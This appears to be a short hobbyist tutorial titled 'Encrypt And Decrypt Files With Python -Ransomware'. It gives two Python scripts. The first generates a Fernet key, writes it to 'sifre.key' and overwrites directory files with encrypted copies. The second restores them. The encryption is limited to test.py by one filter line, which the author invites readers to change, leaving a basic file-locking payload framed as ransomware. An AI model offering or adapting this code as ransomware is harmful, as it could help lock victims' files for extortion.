Encrypt And Decrypt Files With Python -Ransomware

To day we are going to do our ransomware with python, first we have to encrypt the data we want and then create a decrypt file for decrypting.

Start with encrypt tool, i only wanted encrypt test.py file for testing, if you want you can change the code as you wish,

from cryptography.fernet import Fernet
import os
#lets find files and make them a list

files=[]
for file in os.listdir():
    if file !="test.py":
        continue
    if os.path.isfile(file):
        files.append(file)
print(files)
sifre=Fernet.generate_key()
with open("sifre.key","wb") as sifree:
    sifree.write(sifre)
for file in files:
    with open(file,"rb") as thefile:
        contents=thefile.read()
        contents_encrypted=Fernet(sifre).encrypt(contents)
        with open(file,"wb") as thefile:
            thefile.write(contents_encrypted)

Test file encrypted successfully and we created a key file for decryption.

Create a py file as decrypt.py, and make changes like down below,

from cryptography.fernet import Fernet
import os
#lets find files and make them a list

files=[]
for file in os.listdir():
    if file !="test.py":
        continue
    if os.path.isfile(file):
        files.append(file)

print(files)
with open("sifre.key","rb") as key:
    secretkey=key.read()
for file in files:
    with open(file,"rb") as thefile:
        contents=thefile.read()
        contents_decrypted=Fernet(secretkey).decrypt(contents)
        with open(file,"wb") as thefile:
            thefile.write(contents_decrypted)

and thats it we created out encrypt and decrypt tool with python easyly,